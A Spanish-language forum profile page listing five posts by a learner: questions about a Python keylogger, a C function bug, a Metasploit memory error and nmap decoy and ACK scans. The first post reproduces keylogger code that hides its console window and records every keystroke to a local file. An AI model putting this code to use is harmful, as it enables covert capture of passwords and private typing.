Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - seyco

#1
Scripting / duda con keylogger
27 Agosto 2015, 23:56 PM
recien estoy iniciando a aprender python y encontre este codigo de keylogger, no logro entender bien como funciona el ptyhoncom.pumpmessages().

import win32api
import win32console
import win32gui
import pythoncom,pyHook

win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()


segun lo poco que entendi de pythoncom.PumpMessages(), espera hasta que reciba otra tecla presionada pero, y luego vuelve a iniciar todo el codigo o que pasa?
#2
Programación C/C++ / problema con c
19 Abril 2015, 19:05 PM
Hola!!, estoy con un problema desde hace un buen rato y no se porque es el error agradeceria mucho que me ayudasen. esta es la parte del codigo que me causa error.

Código (cpp) [Seleccionar]
int buscaPos(int arrForward[MAX][4],int cantFil, int origen, int tiempo){
   int encontrado, cont;
   int auxOrigen, auxTiempo, aux;

   encontrado = 0;
   cont = 0;

   do{
       auxOrigen = arrForward[cont][0];

       if(auxOrigen == origen){
           auxTiempo = arrForward[cont][1] + arrForward[cont][2];
           aux = arrForward[cont][1];
           
           if(origen <= tiempo){ // ESTA COMPARACION ME ARROJA ERROR
               if (tiempo <= auxTiempo){
                   return cont;
               }
           }
       }
       cont++;
   }while((encontrado == 0) && (cont < cantFil));

   if(encontrado == 0) return -1;
}



me confundi en el codigoo, este es el codigo es casi parecido
Código (cpp) [Seleccionar]
int buscaPos(int arrForward[MAX][4],int cantFil, int origen, int tiempo){
    int encontrado, cont;
    int auxOrigen, auxTiempo, aux;

    encontrado = 0;
    cont = 0;

    do{
        auxOrigen = arrForward[cont][0];

        if(auxOrigen == origen){
            auxTiempo = arrForward[cont][1] + arrForward[cont][2];
           
            if(arrForward[cont][1]<= tiempo){ //ESTA COMPARACION ME ARROJA ERROR
                if (tiempo <= auxTiempo){
                    return cont;
                }
            }
        }
        cont++;
    }while((encontrado == 0) && (cont < cantFil));

    if(encontrado == 0) return -1;
}


Mod: Tema modificado
·No hacer doble post
·los códigos deben ir en GeSHi
·No escribir en mayúsculas
lee las reglas del foro
#3
Seguridad / error :ENOMEM metasploit
16 Febrero 2015, 05:18 AM
hola!, acabo de instalar metaploit en una maquina virtual con ubuntu 14.04 sin embargo luego de terminar la instalacion y ejecutar el "msfconsole" me sale este error


/opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/activesupport-3.2.21/lib/active_support/core_ext/kernel/agnostics.rb:7:in ``': Cannot allocate memory - infocmp (Errno::ENOMEM)
   from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/activesupport-3.2.21/lib/active_support/core_ext/kernel/agnostics.rb:7:in ``'
   from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/rb-readline-0.5.2/lib/rbreadline.rb:1814:in `get_term_capabilities'
   from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/rb-readline-0.5.2/lib/rbreadline.rb:2026:in `_rl_init_terminal_io'
   from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/rb-readline-0.5.2/lib/rbreadline.rb:2512:in `readline_initialize_everything'
   from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/rb-readline-0.5.2/lib/rbreadline.rb:3797:in `rl_initialize'
   from /opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/rb-readline-0.5.2/lib/rbreadline.rb:4816:in `readline'
   from /opt/metasploit/apps/pro/msf3/lib/rex/ui/text/input/readline.rb:132:in `readline_with_output'
   from /opt/metasploit/apps/pro/msf3/lib/rex/ui/text/input/readline.rb:86:in `pgets'
   from /opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:184:in `run'
   from /opt/metasploit/apps/pro/msf3/lib/metasploit/framework/command/console.rb:38:in `start'
   from /opt/metasploit/apps/pro/msf3/lib/metasploit/framework/command/base.rb:82:in `start'
   from /opt/metasploit/apps/pro/msf3/msfconsole:48:in `<main>'

he estado buscando una solucion y parece que tiene que ver con la memoria ram nose si estoy en lo correcto, como podria solucionar esto?
#4
Seguridad / nmap
14 Febrero 2015, 03:37 AM
estoy empezando a usar nmap y me surgio una duda respecto al comendo -D(Decoy) , si me encuentro dentro de una red en donde hay por ejemplo 10 dispositivos y quiero escanear el router, es valido usar, por ejemplo, -D 190.168.0.3, 190.168.0.4,  es decir usar direcciones ip privadas que pertenezcan a la misma red?
#5
Seguridad / duda con resultados de nmap
12 Febrero 2015, 03:30 AM
Hola! este es mi primer post en el foro. Bueno estoy aprendiendo a usar nmap y decidi hacer un scan de mi router desde mi propia red pero apuntando a mi ip publica, del resultado me salieron que todos los puertos estaban filtrados. Luego decidi hacer un escaneo a mi router pero usando la ip privada 192.168.0.1 de este escaneo me salieron 3 puertos que no estaban filtrados(80,8080 y 1900). Porque es esta diferencia, ambos escaneos los he realizado mas de una vez y el resultado es el mismo, en ambos escaneos use la opcion -sA